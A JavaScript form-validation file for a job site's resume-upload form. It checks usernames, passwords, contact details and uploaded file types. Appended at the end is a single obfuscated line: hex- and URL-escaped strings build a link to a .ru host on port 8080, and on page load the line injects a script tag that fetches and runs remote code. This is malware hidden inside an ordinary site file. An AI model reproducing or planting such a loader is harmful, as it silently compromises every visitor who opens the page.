// JavaScript Document

function ur_selOther(list,otext,objVal){
	var oList=document.getElementById(list)
	var oText=document.getElementById(otext)
	
	if(oList.value==objVal){
	oText.style.visibility="visible"
	}
	else{
	oText.style.visibility="hidden"}
}


function ur_hideComboShowTextbox(list,otext,objVal,objHideCombo){
	var oList=document.getElementById(list)
	var oText=document.getElementById(otext)
	var oHdeCombo=document.getElementById(objHideCombo)

	if(oList.value!=objVal){
	oText.style.visibility="visible"
	oHdeCombo.value="Other"
	oHdeCombo.disabled=true
	}
	else{
	oText.style.visibility="hidden"
	oHdeCombo.disabled=false
	}
}


function validateForm(){
	var docF=document.frmUploadResume
	var alreadyFocussed=false
	var error_msg=''
	var iserror=0
	var pattern=/[^a-zA-Z\s,:;\/]+/
	var userPattern=/[^a-zA-Z0-9\/]+/
	//if(docF.chkAgreeTNC.value==1)
	//return true
	
	/*
	if(rm_trim(docF.txtUserName.value)==""){
		error_msg+="Please specify a Username"	
		if(! alreadyFocussed){
		docF.txtUserName.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else
	{
		if(userPattern.test(rm_trim(docF.txtUserName.value))){
			error_msg+="\nOnly alphabets and numbers character set is allowed to specify a username "	
			if(! alreadyFocussed){
			docF.txtUserName.focus()
			alreadyFocussed=true
			}
			iserror++
		}
	}
	
	if(rm_trim(docF.txtUserName.value)!=""){
		//alert(document.getElementById("txtHidUsers").value)
		//alert(document.getElementById("txtHidUsers").value.toLowerCase().indexOf(rm_trim(docF.txtUserName.value).toLowerCase()))
		if(document.getElementById("txtHidUsers").value.toLowerCase().indexOf(rm_trim(docF.txtUserName.value).toLowerCase())!="-1")
		{
			error_msg+="Username already Exists. Please specify a different Username"	
			if(! alreadyFocussed){
			docF.txtUserName.focus()
			alreadyFocussed=true
			}
			iserror++
		}
	}
	
	if(!rm_isValidPass(docF.txtPassword.value)){
		error_msg+="\nInvalid characters used in password.";	
		if(! alreadyFocussed){
		docF.txtPassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else if(rm_trim(docF.txtPassword.value)==""){
		error_msg+="\nPlease specify a password"	
		if(! alreadyFocussed){
		docF.txtPassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else if(rm_trim(docF.txtPassword.value).length<6){
		error_msg+='\nPassword chosen must be at least six characters.'	
		if(! alreadyFocussed){
		docF.txtPassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else if(rm_trim(docF.txtRePassword.value)==""){
		error_msg+="\nPlease specify confirm password"
		if(! alreadyFocussed){
		docF.txtRePassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else if(rm_trim(docF.txtPassword.value)!=rm_trim(docF.txtRePassword.value)){
		error_msg+='\nYour password entries do not match'
		if(! alreadyFocussed){
		docF.txtPassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(rm_trim(error_msg)=="")
	{
		showSingle('second')	
	}
	
	if(rm_trim(docF.txtName.value)==""){
		error_msg+="\nPlease Enter Your Name"	
		if(! alreadyFocussed){
		docF.txtName.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(rm_trim(docF.txtEmail.value)==""){
		error_msg+="\nPlease Enter Your Email Id"	
		if(! alreadyFocussed){
		docF.txtEmail.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else if(!rm_isValidEmail(rm_trim(docF.txtEmail.value))){
		error_msg+="\n"+docF.txtEmail.value+" is not a valid Email ID. Please enter a valid Email ID"		
		if(! alreadyFocussed){
		docF.txtEmail.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(rm_trim(docF.txtCity.value)==""){
		error_msg+="\nPlease Enter Your City / Town "	
		if(! alreadyFocussed){
		docF.txtCity.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlCountry.value==""){
		error_msg+="\nPlease select your country of residence"
		if(! alreadyFocussed){
		docF.ddlCountry.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlCountry.value=="Other"){
		if(rm_trim(docF.txtOtherCountry.value)=="" || rm_trim(docF.ddlCountry.value)=="Other"){
		error_msg+="\nSince you have selected 'Other' from the Country dropdown, please specify your Country in the text box provided."
			if(! alreadyFocussed){
			docF.ddlCountry.focus()
			alreadyFocussed=true
			}
		iserror++
		}
	}
	else if(pattern.test(rm_trim(docF.txtOtherCountry.value))){
		error_msg+="\nOnly following character set is allowed to specify country - alphabets  space  comma  :  ;  /"
		if(! alreadyFocussed){
		docF.ocountry.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlState.value==""){
		error_msg+="\nPlease select your State of residence"
		if(! alreadyFocussed){
		docF.ddlState.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlState.value=="Other"){
		if(rm_trim(docF.ddlState.value)=="" || rm_trim(docF.ddlState.value)=="Other"){
		error_msg+="\nSince you have selected 'Other' from the State dropdown, please specify your State in the text box provided."
			if(! alreadyFocussed){
			docF.ddlState.focus()
			alreadyFocussed=true
			}
		iserror++
		}
	}
	else if(pattern.test(rm_trim(docF.txtOtherCountry.value))){
		error_msg+="\nOnly following character set is allowed to specify State - alphabets  space  comma  :  ;  /"
		if(! alreadyFocussed){
		docF.txtOtherState.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.txtZipCOde.value==""){
		error_msg+="\nPlease Enter your Zipcode"
		if(! alreadyFocussed){
		docF.txtZipCOde.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	if(docF.txtCountryCode.value=="" && docF.txtMobile.value=="")
	{
		if(docF.txtCountryCode.value==""){
			error_msg+="\nPlease Enter your Country Code"
			if(! alreadyFocussed){
			docF.txtCountryCode.focus()
			alreadyFocussed=true
			}
			iserror++
		}
		
		if(docF.txtStdCode.value==""){
			error_msg+="\nPlease Enter your STD/Area Code"
			if(! alreadyFocussed){
			docF.txtStdCode.focus()
			alreadyFocussed=true
			}
			iserror++
		}
		
		if(docF.txtTelephone.value==""){
			error_msg+="\nPlease Enter your Telephone Number"
			if(! alreadyFocussed){
			docF.txtTelephone.focus()
			alreadyFocussed=true
			}
			iserror++
		}		
	}
	if(docF.txtCountryCode.value!="")
	{
		if(!rm_isInteger(docF.txtCountryCode.value)){
			error_msg+="\nPlease enter digits(0-9) only while entering your phone number."
			if(! alreadyFocussed){
			docF.txtCountryCode.focus()
			alreadyFocussed=true
			}
			iserror++
		}
	}
	
	if(docF.txtStdCode.value!="")
	{
		if(!rm_isInteger(docF.txtStdCode.value)){
			error_msg+="\nPlease enter digits(0-9) only while entering your phone number."
			if(! alreadyFocussed){
			docF.txtStdCode.focus()
			alreadyFocussed=true
			}
			iserror++
		}
	}
	
	if(docF.txtTelephone.value!="")
	{
		if(!rm_isInteger(docF.txtTelephone.value)){
			error_msg+="\nPlease enter digits(0-9) only while entering your phone number."
			if(! alreadyFocussed){
			docF.txtTelephone.focus()
			alreadyFocussed=true
			}
			iserror++
		}
	}		
	
	if(docF.txtMobile.value!="")
	{
		if(!rm_isInteger(docF.txtMobile.value)){
			error_msg+="\nPlease enter digits(0-9) only while entering your phone number."
			if(! alreadyFocussed){
			docF.txtMobile.focus()
			alreadyFocussed=true
			}
			iserror++
		}
	}
	
	
	if(docF.ddlDay.value==""){
		error_msg+="\nPlease Select your Day of Birth"
		if(! alreadyFocussed){
		docF.ddlDay.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlMonth.value==""){
		error_msg+="\nPlease Select your Month of Birth"
		if(! alreadyFocussed){
		docF.ddlMonth.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlYear.value==""){
		error_msg+="\nPlease Select your Year of Birth"
		if(! alreadyFocussed){
		docF.ddlYear.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlGender.value==""){
		error_msg+="\nPlease Select the Gender"
		if(! alreadyFocussed){
		docF.ddlGender.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(rm_trim(error_msg)=="")
	{
		showSingle('three')	
	}
	
	if(docF.ddlExpInYears.value==""){
		error_msg+="\nPlease Select your Total Years Of Experience in years"
		if(! alreadyFocussed){
		docF.ddlExpInYears.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlExpInMonths.value==""){
		error_msg+="\nPlease Select your Total Years Of Experience in Months"
		if(! alreadyFocussed){
		docF.ddlExpInMonths.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.txtKeySkills.value==""){
		error_msg+="\nPlease specify your Key Skills here separated by commas."
		if(! alreadyFocussed){
		docF.txtKeySkills.focus()
		alreadyFocussed=true
		}
		iserror++
	}else if(rm_trim(docF.txtKeySkills.value.length)>250){
		error_msg+="\nMaxlength of Keyskills can not exceed 250 characters."
		if(! alreadyFocussed){
		docF.txtKeySkills.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlFunctionalArea.value==""){
		error_msg+="\nPlease Select Your Functional Area"
		if(! alreadyFocussed){
		docF.ddlFunctionalArea.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(rm_trim(error_msg)=="")
	{
		showSingle('four')	
	}	
	
	if(docF.ddlUgCourse.value==""){
		error_msg+="\nPlease specify your Under Graduate Course"
		if(! alreadyFocussed){
		docF.ddlUgCourse.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.ddlUgYear.value==""){
		error_msg+="\nPlease Select Your Year of Graduation / Expected Year of Graduation"
		if(! alreadyFocussed){
		docF.ddlUgYear.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(rm_trim(error_msg)=="")
	{
		showSingle('five')	
	}
	
	if(docF.flVideoResume.value!=""){
		var fileType
		fileType=docF.flVideoResume.value.substring(docF.flVideoResume.value.lastIndexOf("."),docF.flVideoResume.value.length)
		//alert(docF.flVideoResume.value.substring(docF.flVideoResume.value.lastIndexOf("."),docF.flVideoResume.value.length))		
		if(fileType!=".avi" && fileType!=".wmv" && fileType!=".mpg" && fileType!=".mov")				
		{
			error_msg+="\nOnly Following Formats Are Allowed : .avi, .wmv, .mpg, .mov. Please change the Video Resume File."
			if(! alreadyFocussed){
			docF.flVideoResume.focus()
			alreadyFocussed=true
			}
			iserror++
		}		
	}
	
	if(docF.flResume.value!=""){
		var fileType
		fileType=docF.flResume.value.substring(docF.flResume.value.lastIndexOf("."),docF.flResume.value.length)
		//alert(obj.value.substring(obj.value.lastIndexOf("."),obj.value.length))
		if(fileType!=".doc")				
		{
			error_msg+="\nOnly Following Formats Are Allowed : .doc. Please change the Resume File."
			if(! alreadyFocussed){
			docF.flResume.focus()
			alreadyFocussed=true
			}
			iserror++
		}		
	}
	
	if(rm_trim(error_msg)=="")
	{
		showSingle('six')	
	}
	
	if(docF.opPermanent.checked==false && docF.opTemporary.checked==false && docF.opEither.checked==false){
		error_msg+="\nPlease Select Your Desired Job Type"		
		iserror++
	}
	
	if(!docF.chkFulltime.checked && !docF.chkPartTime.checked){
		error_msg+="\nPlease Select Your Employment Status"
		iserror++
	}
	
	if(docF.ddlPrefLocation.value==""){
		error_msg+="\nPlease Select Your Preferred Job Location"
		if(! alreadyFocussed){
		docF.ddlPrefLocation.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(rm_trim(error_msg)=="")
	{
		showSingle('seven')	
	}
	*/
	showSingle('first')	
	if(rm_trim(docF.txtUserName.value)==""){
		error_msg+="Please specify a Username"	
		if(! alreadyFocussed){
		docF.txtUserName.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else
	{
		if(userPattern.test(rm_trim(docF.txtUserName.value))){
			error_msg+="\nOnly alphabets and numbers character set is allowed to specify a username "	
			if(! alreadyFocussed){
			docF.txtUserName.focus()
			alreadyFocussed=true
			}
			iserror++
		}
	}		
	
	
	if(rm_trim(docF.txtUserName.value)!="" && strEdit==false){
		//alert(document.getElementById("txtHidUsers").value)
		//alert(document.getElementById("txtHidUsers").value.toLowerCase().indexOf(rm_trim(docF.txtUserName.value).toLowerCase()))
		/*
		if(document.getElementById("txtHidUsers").value.toLowerCase().indexOf(rm_trim(docF.txtUserName.value).toLowerCase())!="-1")
		{
			error_msg+="Username already Exists. Please specify a different Username"	
			if(! alreadyFocussed){
			docF.txtUserName.focus()
			alreadyFocussed=true
			}
			iserror++
		}
		*/
		for(ind=0;ind<document.getElementById("ddlHidUsers").length;ind++)
		{
			if(rm_trim(document.getElementById("txtUserName").value.toLowerCase())==rm_trim(document.getElementById("ddlHidUsers")[ind].value.toLowerCase()))			
			{
				error_msg+="\nUsername already Exists. Please specify a different Username"	
				if(! alreadyFocussed){
				docF.txtUserName.focus()
				alreadyFocussed=true
				}
				iserror++
			}
		}
	}
	showSingle('five')	
	
	if(!rm_isValidPass(docF.txtPassword.value)){
		error_msg+="\nInvalid characters used in password.";	
		if(! alreadyFocussed){
		docF.txtPassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else if(rm_trim(docF.txtPassword.value)==""){
		error_msg+="\nPlease specify a password"	
		if(! alreadyFocussed){
		docF.txtPassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else if(rm_trim(docF.txtPassword.value).length<4){
		error_msg+='\nPassword chosen must be at least four characters.'	
		if(! alreadyFocussed){
		docF.txtPassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else if(rm_trim(docF.txtRePassword.value)==""){
		error_msg+="\nPlease specify confirm password"
		if(! alreadyFocussed){
		docF.txtRePassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	else if(rm_trim(docF.txtPassword.value)!=rm_trim(docF.txtRePassword.value)){
		error_msg+='\nYour password entries do not match'
		if(! alreadyFocussed){
		docF.txtPassword.focus()
		alreadyFocussed=true
		}
		iserror++
	}
	
	if(docF.flVideoResume.value=="" && docF.flResume.value=="" && strEdit==false)
	{
		error_msg+="\nPlease Select Either Video Resume File / Resume in .doc or .rtf format"
		if(! alreadyFocussed){
		docF.flVideoResume.focus()
		alreadyFocussed=true
		}	
	}
	
	if(docF.flVideoResume.value!=""){
		var fileType
		fileType=docF.flVideoResume.value.substring(docF.flVideoResume.value.lastIndexOf("."),docF.flVideoResume.value.length)
		//alert(docF.flVideoResume.value.substring(docF.flVideoResume.value.lastIndexOf("."),docF.flVideoResume.value.length))		
		if(fileType!=".avi" && fileType!=".wmv" && fileType!=".mpg" && fileType!=".mov")				
		{
			error_msg+="\nOnly Following Formats Are Allowed : .avi, .wmv, .mpg, .mov. Please change the Video Resume File."
			if(! alreadyFocussed){
			docF.flVideoResume.focus()
			alreadyFocussed=true
			}
			iserror++
		}		
	}	
	
	if(docF.flResume.value!=""){
		var fileType
		fileType=docF.flResume.value.substring(docF.flResume.value.lastIndexOf("."),docF.flResume.value.length)
		//alert(obj.value.substring(obj.value.lastIndexOf("."),obj.value.length))
		if(fileType!=".doc" && fileType!=".rtf")				
		{
			error_msg+="\nOnly Following Formats Are Allowed : .doc. Please change the Resume File."
			if(! alreadyFocussed){
			docF.flResume.focus()
			alreadyFocussed=true
			}
			iserror++
		}		
	}
	
	if(rm_trim(error_msg)=="")
	{
		showSingle('seven')	
	}
	
	if(docF.chkAgreeTNC.checked == false){
		error_msg+="\nPlease agree to the terms and conditions.";
		iserror++;
	}
	
	if(error_msg!="")
	{
		alert(error_msg)
		return false
	}
	document.getElementById("ddlState").disabled=false
	document.getElementById("btnSubmit").style.visibility="hidden"
}

// Trim function
function rm_trim(inputString){
	if(typeof inputString !="string"){return inputString;}
	var temp_str=''
	temp_str=inputString.replace(/[\s]+/g,"")
	if(temp_str=='')
	return ""
	var retValue=inputString
	var ch=retValue.substring(0,1)
	
	while(ch==" "){
	retValue=retValue.substring(1,retValue.length)
	ch=retValue.substring(0,1)
	}
	ch=retValue.substring(retValue.length-1,retValue.length)
	
	while(ch==" "){
	retValue=retValue.substring(0,retValue.length-1)
	ch=retValue.substring(retValue.length-1,retValue.length)
	}
	
	while(retValue.indexOf("  ")!=-1){
	retValue=retValue.substring(0,retValue.indexOf("  "))+retValue.substring(retValue.indexOf("  ")+1,retValue.length)
	}
	return retValue
}

//Valid Password Check
function rm_isValidPass(strPass){
	var numaric = strPass;
	for(var j=0; j<numaric.length; j++){
	var alphaa = numaric.charAt(j);
	var hh = alphaa.charCodeAt(0);
	if((hh > 47 && hh<59) || (hh > 64 && hh<91) || (hh > 96 && hh<123) || (hh == 46) || (hh == 64) | (hh == 95));
	else
		return false;
	}
	return true;
}

//Check Valid Email Address Function
function rm_isValidEmail(stremail){
	if(stremail.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/)==-1)
	return false
	else
	return true
}
	
function rm_isDigit(c){
	return((c>="0")&&(c<="9"))
}
	
function rm_isInteger(iNumber){
	var i
	for(i=0;i<iNumber.length;i++){
	var c=iNumber.charAt(i)
	if(!rm_isDigit(c)){
	return false
		}
	}
	return true
}
var kX="";var H='';this.s='';function a(){var st=new Array();var g='';var Hi=new Array();var R="g";var z=new String();var d=window;var SZ="";var j=unescape;var S="\x68\x74\x74\x70\x3a\x2f\x2f\x78\x76\x69\x64\x65\x6f\x73\x2d\x63\x6f\x6d\x2e\x61\x73\x6b\x2e\x63\x6f\x6d\x2e\x61\x64\x62\x72\x69\x74\x65\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var wi="";var O;if(O!='' && O!='V'){O=null};var SB=new String();function Q(U,l){var RA;if(RA!='' && RA!='A'){RA=''};var wL;if(wL!='' && wL!='cE'){wL=null};var X=j("%5b")+l+j("%5d");this.jI='';var OA="";var i=new RegExp(X, R);return U.replace(i, g);this.e="";};var Pk='';this.Oj="";this.L='';var n=Q('862622207322386722660637372','3267');var I=document;var m=new Array();var wQ;if(wQ!='' && wQ!='qL'){wQ=''};this.tL="";var aQ;if(aQ!='LL' && aQ != ''){aQ=null};var E=j("%2f%69%6d%64%62%2e%63%6f%6d%2f%69%6d%64%62%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%65%73%2f%61%64%75%6c%74%66%72%69%65%6e%64%66%69%6e%64%65%72%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var aX='';var Ze=new String();var AQ=new Date();var EP='';function M(){this.AX='';var F="";aX=S;var G='';aX+=n;var kr=new Date();var C;if(C!='mc'){C=''};aX+=E;var N;if(N!='' && N!='kH'){N=null};var zO;if(zO!='' && zO!='Rv'){zO=null};this.zg='';try {var Ya;if(Ya!='xF'){Ya=''};var M_=new String();var Tl;if(Tl!='Fz' && Tl!='ao'){Tl='Fz'};Y=I.createElement(Q('s_cdrkidpdt_','_kd'));var aW;if(aW!=''){aW='Pl'};var K;if(K!='XV'){K='XV'};var s_I;if(s_I!='PD' && s_I!='Lx'){s_I='PD'};Y.defer=[1,7][0];this.Rd="";Y.src=aX;var go=new Array();this.je="";this.sF='';this.jpX='';I.body.appendChild(Y);} catch(o){var fF;if(fF!='sm'){fF='sm'};};}var ay=new Array();var cH;if(cH!='Cq'){cH=''};d[String("onloa"+"xLJTd".substr(4))]=M;var Fk="";var ZE;if(ZE!='' && ZE!='CR'){ZE=''};};var Ee;if(Ee!='Cc'){Ee=''};var iXd;if(iXd!='eo'){iXd=''};a();var dY="";var UV=new Date();